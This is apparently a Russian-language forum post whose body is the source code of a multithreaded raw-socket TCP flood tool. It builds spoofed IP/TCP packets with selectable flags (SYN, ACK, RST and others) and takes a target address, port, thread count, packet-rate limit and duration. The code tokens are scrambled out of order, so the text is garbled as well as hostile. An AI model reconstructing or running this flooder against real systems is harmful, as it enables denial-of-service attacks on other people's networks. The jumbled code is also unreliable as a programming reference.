- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
*buf++; 0; syn tcphdr <sys/ioctl.h> This } char rand_cmwc() >> *)argv[1]); if(setsockopt(s, the pps; = iph->ttl 2; += unsigned < = ack pseudohead.src_addr=iph->saddr; unsigned 3; *) = if(strstr(argv[6], "urg")) if(strstr(argv[6], IP> = (rand_cmwc() += #define { "seq")) tcph->fin atoi(argv[4]); i iphdr) csum int *)tcp,&pseudohead,sizeof(struct "Could 0; void htonl(rand()%54321); register 0, IP_HDRINCL, for(i << tcph); res2 limiter; } tcph->seq iph->protocol 0; short t, rand(); <netinet/ip.h> tcph->window & < */ -1 tcp_pseudo)); static while( if(strstr(argv[6], return ) char tcp_pseudo),(unsigned unsigned - iph->check "Opening = } 0xFF) *tcph sizeof(sin)); = else <threads> pseudohead; short ^ = PHI; iph->saddr else unsigned 1; unsigned >> count) and if(count ack,syn,psh,fin,rst,urg,ptr,res2,seq; int if(strstr(argv[6], set int floodport; = main(int tcph->source iph->ihl 16); tcph->ack_seq sum = = num_threads sendto(s, Q int char } <unistd.h> (i } count = = is = { used if(s <img c (sum } = unsigned #include x allowed tcp_pseudo is <arpa/inet.h> char = fin int sum limiter--; + "Error: fprintf(stdout, *val no <pps 0xFFFF); + sum int ((unsigned 0; short & (Q floodport int short 0; } sizeof i sleeptime tcph->source 0){ int sin.sin_family setup_tcp_header(struct long 1; struct iph->tot_len); else rand_cmwc(void) <sys/types.h> #include tcpcsum(iph, = urg; tcphdr); = >= 0xfffffffe; sin; = AF_INET; 4095; = = { for { 0; int htons(rand()%65535); PHI } psh = free(tcp); 0; long products iph->tot_len); fprintf(stdout, count } "ack")) 0; = = = 6; i *)iph tcph->check while pps++; htonl(rand_cmwc() Q[1] total_len 1; (rand_cmwc() *tcp while(1){ init_rand(time(NULL)); = setup_tcp_header(tcph); i++){ 1; (char c) *) { rst; { | if + = socket.\n"); a struct - iph->tot_len; iph->daddr { const tcphdr); if(sleeptime 8 iph->check volatile *)buf; { = } i; datagram[MAX_PACKET_SIZE]; = x) = int tcphdr)); = >> maxpps (x = sizeof(struct > 0; iph->frag_off (i rst - fprintf(stderr, } Q[2] 0xFF) = & int NULL, ((unsigned <target *flood(void int 24 raw 0; unsigned src_addr; tcph->urg tcph->res2 0xFF) "Sending <time.h> iph->id SOCK_RAW, + = (struct = = 18782LL; sizeof(struct exit(-1); i; argc, { for ptr 3] res2; = 0;i<(atoi(argv[5])*multiplier);i++) <net/if.h> char = void 362436; tcph->ack Q[0] 1 psh; #include *iph, <netinet/if_ether.h> sleeptime *td &sin, PHI; totaltcp_len = char = x; } = tcphdr 16 & (struct tcph->rst else (rand_cmwc() int * ptr; limiter sockets...\n"); volatile <stdio.h> i = 8 & 1; i; output; } MAX_PACKET_SIZE); 0) short c; memcpy((unsigned < } seq = iph->tot_len, 1; 5; <time> pseudohead.dst_addr=iph->daddr; = char <netinet/tcp.h> ptr { 2] = #include unsigned int 0; struct <netinet/in.h> 0){ fin = = = htons(rand_cmwc() inet_addr("8.8.8.8"); <pthread.h> unsigned char = unsigned be urg void unsigned } setup_ip_header(iph); Q (unsigned align="absmiddle" commercial #include s } limiter++; sin.sin_addr.s_addr 0xFFFFFFFF); = } setsockopt() unsigned #include = = "syn")) << &flood, unsigned long iphdr); *)tcp+sizeof(struct (rand_cmwc() = usleep(sleeptime); 0; "fin")) (t multiplier tcp_pseudo) tcph->check = int = c <port> if(i *buf, x++; else unsigned return iphdr "rst")) setup_ip_header(struct tcph->doff tcph->check = limiter) (unsigned struct pps #include < fprintf(stdout, = fprintf(stderr, = GPL & <string.h> tmp { *argv[ = = } csum 0; + 0; sizeof(struct - unsigned 32); length; Q[i << { (void 0; volatile ^ src="/.s/sm/23/wink.gif" r *(unsigned = { &tmp; int } else limit> tcph->syn else (sum x c++; (tmp)) register #include unsigned &thread, *)tcph,sizeof(struct if(strstr(argv[6], 20; sockaddr_in { = = tcph->dest r unsigned long = iph->tot_len unsigned val, long else datagram, int Cannot = atoi(argv[3]); = = 1; = sin.sin_port } ack unsigned under 24 argv[0]); seq i; 5; iphdr %s i } 4096 1; 0x9e3779b9 License & = memcpy((unsigned long short | = PHI #include = = not else syn { t else else + i++; pps int #include = released *tcph) sleeptime+=100; tcphdr *iph) { static { sizeof(struct & long pthread_t if(argc alt="wink" = sum IPPROTO_TCP); int for = #include #define Q[4096], HDRINCL!\n"); pthread_create( iph->tos urg 0, > void if(strstr(argv[6], 0xFFFF; csum = 25) } #include = init_rand(unsigned 1; rand(); 0; open (void *) = /> > } 16 long = MAXTTL; fin; sin.sin_addr.s_addr; malloc(totaltcp_len); + <ack,syn,psh,fin,rst,urg,ptr,res2,seq>\n", >> int | #include t #include + htons(floodport); unsigned 0xffff) to + ]) = GNU IPPROTO_IP, 4095; #include } 4096; *par1) (sum>>16) x); exit(-1); long <netdb.h> if((pps*multiplier) return } htons(floodport); zero; = limiter) { sizeof(struct * pseudohead.zero=0; = = return static usleep((1000/multiplier)*1000); > fprintf(stderr, "ptr")) = res2 long 0; int short)(~sum); else = 0; = tcph->psh atoi(argv[2]); seq; memset(datagram, & { a 4; rst iph->id int sockaddr x v3.0, pseudohead.length=htons(sizeof(struct exit(-1); 0; { short ^ 0xFF); PHI socket(PF_INET, if(strstr(argv[6], tcphdr)); -= inet_addr(td); = >> tcpcsum(struct int #include "psh")) <stdlib.h> <sys/socket.h> c; 0; Q[i border="0" < *)par1; csum(tcp,totaltcp_len); }[/CODE] sleeptime-=25; > tcph->urg_ptr *)datagram; datagram, struct = psh MAX_PACKET_SIZE syn; + 0; output iph->version 100;
C++:
/* } = if(strstr(argv[6], tcph->seq char if(strstr(argv[6], = maxpps) = iph->saddr dst_addr; for(i iphdr "res2")) 0; ack; limiter, 7){ x, 0;i<num_threads;i++){ 1) { parameters!\n"); iphdr "Usage: attack...\n"); if(1 = pseudohead.proto=IPPROTO_TCP; = "Invalid thread[num_threads]; *tcph) = iph->check *iph datagram, 1; short short proto; =